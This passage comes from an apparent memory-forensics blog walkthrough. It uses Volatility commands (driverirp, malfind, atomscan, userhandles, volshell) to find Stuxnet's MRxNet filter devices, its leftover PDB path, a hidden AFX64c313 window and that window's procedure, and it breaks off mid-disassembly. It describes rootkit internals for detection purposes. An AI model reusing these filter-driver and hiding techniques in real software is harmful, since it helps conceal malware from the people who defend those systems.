FILE_DEVICE_DISK_FILE_SYSTEM&lt;br /&gt;ATT 0x8223edd0 (unnamed) - '\\FileSystem\\sr' FILE_DEVICE_DISK_FILE_SYSTEM&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;        ATT 0x820d2350 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;You can see that the MRxNet driver has created several devices (via &lt;a href="http://msdn.microsoft.com/en-us/library/ff548397%28v=vs.85%29.aspx"&gt;IoCreateDevice&lt;/a&gt;) and attached them to the device chain of \FileSystem\Ntfs for filtering purposes. The Fastfat file system is not used on the system, so it isn't shown, but Cdfs is:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;DRV 0x01f9cf38 '\\FileSystem\\Cdfs'&lt;br /&gt;DEV 0x81d9cc88 Cdfs FILE_DEVICE_CD_ROM_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x81ff3d50 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_CD_ROM_FILE_SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Stuxnet maintains control over network file systems in addition to local disks and CDROMs. In total, it creates and attaches 11 devices. Other targets include vmhgfs (VMware Host/Guest File System), WebDav, and SMB.&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;DRV 0x023c6268 '\\FileSystem\\Fs_Rec'&lt;br /&gt;DEV 0x82303030 FatCdRomRecognizer FILE_DEVICE_CD_ROM_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x82127b00 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_CD_ROM_FILE_SYSTEM&lt;/span&gt;&lt;br /&gt;DEV 0x8233a030 FatDiskRecognizer FILE_DEVICE_DISK_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x8230daf0 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM&lt;/span&gt;&lt;br /&gt;DEV 0x8222d918 UdfsDiskRecognizer FILE_DEVICE_DISK_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x81da8bf8 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM&lt;/span&gt;&lt;br /&gt;DEV 0x82259d38 UdfsCdRomRecognizer FILE_DEVICE_CD_ROM_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x821d7530 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_CD_ROM_FILE_SYSTEM&lt;/span&gt;&lt;br /&gt;DEV 0x81dcd030 CdfsRecognizer FILE_DEVICE_CD_ROM_FILE_SYSTEM&lt;br /&gt;&lt;br /&gt;DRV 0x023c6da0 '\\FileSystem\\vmhgfs'&lt;br /&gt;DEV 0x8230d030 hgfsInternal FILE_DEVICE_UNKNOWN&lt;br /&gt;DEV 0x81eba030 HGFS FILE_DEVICE_NETWORK_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x8222d320 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_NETWORK_FILE_SYSTEM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;DRV 0x023c7030 '\\FileSystem\\MRxSmb'&lt;br /&gt;DEV 0x81d9ad80 LanmanDatagramReceiver FILE_DEVICE_NETWORK_BROWSER&lt;br /&gt;DEV 0x82266c00 LanmanRedirector FILE_DEVICE_NETWORK_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x81da7f10 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_NETWORK_FILE_SYSTEM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;DRV 0x021ef6e8 '\\FileSystem\\MRxDAV'&lt;br /&gt;DEV 0x81ee4610 WebDavRedirector FILE_DEVICE_NETWORK_FILE_SYSTEM&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;        ATT 0x81d50190 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_NETWORK_FILE_SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; Also, you can use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#driverirp"&gt;driverirp&lt;/a&gt; command to analyze which IRPs the Stuxnet drivers handle and which ones they ignore. For example:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py driverirp -r mrxnet&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DriverStart  Name             IRP                                  IrpAddr      IrpOwner         HookAddr     HookOwner&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_CREATE                        0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_CREATE_NAMED_PIPE             0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_CLOSE                         0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_READ                          0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_WRITE                         0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_QUERY_INFORMATION             0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_SET_INFORMATION               0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_QUERY_EA                      0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_SET_EA                        0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_FLUSH_BUFFERS                 0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_QUERY_VOLUME_INFORMATION      0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_SET_VOLUME_INFORMATION        0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;0xb21d8000   'MRxNet'         IRP_MJ_DIRECTORY_CONTROL             0xb21d84ec   mrxnet.sys       0xb21d97c4   mrxnet.sys&lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;br /&gt;0xb21d8000   'MRxNet'         IRP_MJ_FILE_SYSTEM_CONTROL           0xb21d8496   mrxnet.sys       0xb21d97c4   mrxnet.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_DEVICE_CONTROL                0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_INTERNAL_DEVICE_CONTROL       0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_SHUTDOWN                      0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_LOCK_CONTROL                  0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_CLEANUP                       0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_CREATE_MAILSLOT               0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_QUERY_SECURITY                0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_SET_SECURITY                  0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_POWER                         0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_SYSTEM_CONTROL                0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_DEVICE_CHANGE                 0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_QUERY_QUOTA                   0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_SET_QUOTA                     0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d8000   'MRxNet'         IRP_MJ_PNP                           0xb21d8486   mrxnet.sys       -            -&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The HookAddr and HookOwner column in the output is admittedly a little mis-leading. In this case, the IRPs aren't hooked. The columns are just showing where the next hop of execution leads, based on the instructions at the IRP address. The columns are blank for everything except IRP_MJ_DIRECTORY_CONTROL and IRP_MJ_FILE_SYSTEM_CONTROL. Thus, these two IRPs are handled specially by the rootkit. All other IRPs are probably ignored or passed through.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 16: PDB Reference&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"In the driver file, the project path b:\myrtus\src\objfre_w2k_x86\i386 \guava.pdb was not removed." [4]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, you have a unique string to search for in kernel memory. That can be done with Malfind by passing the -K or --kernel flag.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py malfind -D out -K -Y "myrtus"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Name                 Pid    Start      End        Tag    Hits Protect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;mrxnet.sys&lt;/span&gt;           -      0xB21D8000 0xB21DB000 -         1 -      (Unknown)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hit: myrtus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9d9b   6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 6a 66 72    &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;myrtus.src.objfr&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9dab   65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 36 5c 67    &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;e_w2k_x86.i386.g&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9dbb   75 61 76 61 2e 70 64 62 00 00 00 00 00 00 00 00    &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;uava.pdb&lt;/span&gt;........&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9dcb   00 00 00 00 00 30 18 00 00 1c 1a 00 00 fe ff ff    .....0..........&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9ddb   ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff    ................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9deb   ff cb 84 1d b2 cf 84 1d b2 00 00 00 00 fe ff ff    ................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9dfb   ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff    ................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0xb21d9e0b   ff 21 85 1d b2 25 85 1d b2 00 00 00 00 fe ff ff    .!...%..........&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;We got a hit in mrxnet.sys at 0xb21d9d9b. Easy enough!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 17 and 18: Windows &amp;amp; Classes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"It registers a window class with the name "AFX64c313" and creates a window corresponding to the class created. The window procedure of the class monitors WM_DEVICE_CHANGE messages sent when there is a change to the hardware configuration of a device or the computer. The window procedure of the class handles only requests with wParam set to DBT_DEVICEARRIVAL." [6]&lt;/span&gt;&lt;/blockquote&gt;This statement is describing two different, but related artifacts. We'll detect them using a few plugins built on information originally disclosed by Moyix in his blog &lt;a href="http://moyix.blogspot.com/2010/07/gdi-utilities-taking-screenshots-of.html"&gt;GDI Utilities: Taking Screenshots from Memory Dumps&lt;/a&gt;. One is the creation of a window class (see &lt;a href="http://msdn.microsoft.com/en-us/library/ms633587%28v=VS.85%29.aspx"&gt;RegisterClassEx&lt;/a&gt;) which results in a new &lt;a href="http://msdn.microsoft.com/en-us/library/ff468795%28v=VS.85%29.aspx"&gt;Atom&lt;/a&gt;. If you're not familiar with atom tables, they can be extremely useful for various tasks, including malware analysis. I'll save the details for a later discussion. For now, let's check for the malicious class atom:&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py atomscan&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Table      Atom     Refs     Flags                Name&lt;br /&gt;0xcc05da8  0xc0b1   0x4      0                    Performed DropEffect&lt;br /&gt;0xcc05da8  0xc0b7   0x2      0                    TargetCLSID&lt;br /&gt;0xcc05da8  0xc0d6   0x1      0                    text/richtext&lt;br /&gt;0xcc05da8  0xc0d9   0x1      0                    application/base64&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0xcc05da8  0xc118   0x2      0                    AFX64c313&lt;/span&gt;&lt;br /&gt;0xcc05da8  0xc010   0x1      RTL_ATOM_PINNED      OleDraw&lt;br /&gt;0xcc05da8  0xc033   0x1      RTL_ATOM_PINNED      OTHERWINDOWCREATED&lt;br /&gt;0xcc05da8  0xc069   0x17     0                    6.0.2600.5512!SysLink&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The next artifact we're looking for is a window (see &lt;a href="http://msdn.microsoft.com/en-us/library/ms632680%28v=VS.85%29.aspx"&gt;CreateWindowEx&lt;/a&gt;) of the class AFX64c313. Handles to windows (and all other USER objects) are stored in a completely different handle table than mutexes, files, registry keys, etc. We can filter by USER object type using the -t parameter.&lt;br /&gt;&lt;br /&gt;Note: I don't want to spoil whatever surprises that Okolica and Peterson plan to share at &lt;a href="http://www.dfrws.org/2011/program.shtml"&gt;DFRWS 2011 "Extracting the Windows Clipboard from Memory"&lt;/a&gt; but using TYPE_CLIPDATA instead of TYPE_WINDOW to this command is *one* of the ways to dump the contents of the clipboard.&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py userhandles -t TYPE_WINDOW&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;&lt;br /&gt;[snip]&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Process: 668 (services.exe)&lt;/span&gt;&lt;br /&gt;Thread: 1420&lt;br /&gt;Type: TYPE_WINDOW (tagWND)&lt;br /&gt;Object: 0xbc951d10&lt;br /&gt;Handle: 0xe00e8&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Window text: AFX64c313&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Window procedure: 0x13fe695&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Class: ['AFX64c313']&lt;/span&gt;&lt;br /&gt;Superclass: ['AFX64c313']&lt;br /&gt;Style: WS_MINIMIZEBOX|WS_TABSTOP|WS_DLGFRAME|WS_BORDER|WS_THICKFRAME|WS_CAPTION|WS_SYSMENU|WS_MAXIMIZEBOX|WS_GROUP|WS_OVERLAPPED|WS_CLIPSIBLINGS&lt;br /&gt;ExStyle: WS_EX_LTRREADING|WS_EX_RIGHTSCROLLBAR|WS_EX_WINDOWEDGE|WS_EX_LEFT&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Visible: No&lt;/span&gt;&lt;br /&gt;Coords: left 88, top 116, right 927, bottom 699&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; What you see here, in a nutshell, is a window of the class AFX64c313 owned by services.exe. Although the window is not visible, it contains the text "AFX64c313." The &lt;a href="http://msdn.microsoft.com/en-us/library/ms633573%28v=VS.85%29.aspx"&gt;window procedure&lt;/a&gt; is located at 0x13fe695 in the memory of services.exe. To explore the function, break into a volshell, change context to the right process, and disassemble.&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py volshell&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Current context: process System, pid=4, ppid=0 DTB=0x319000&lt;br /&gt;Welcome to volshell! Current memory image is:&lt;br /&gt;file:///memory/stuxnet.vmem&lt;br /&gt;To get help, type 'hh()'&lt;br /&gt;&lt;br /&gt;In [1]: &lt;span style="font-weight: bold;"&gt;cc(pid=668)&lt;/span&gt;&lt;br /&gt;Current context: process services.exe, pid=668, ppid=624 DTB=0xa940080&lt;br /&gt;&lt;br /&gt;In [2]: &lt;span style="font-weight: bold;"&gt;dis(0x13fe695)&lt;/span&gt;&lt;br /&gt;0x13fe695 55                               PUSH EBP&lt;br /&gt;0x13fe696 8bec                             MOV EBP, ESP&lt;br /&gt;0x13fe698 817d0c19020000                   &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;CMP DWORD [EBP+0xc], 0x219 ; WM_DEVICECHANGE&lt;/span&gt;&lt;br /&gt;0x13fe69f 7514                             JNZ 0x13fe6b5&lt;br 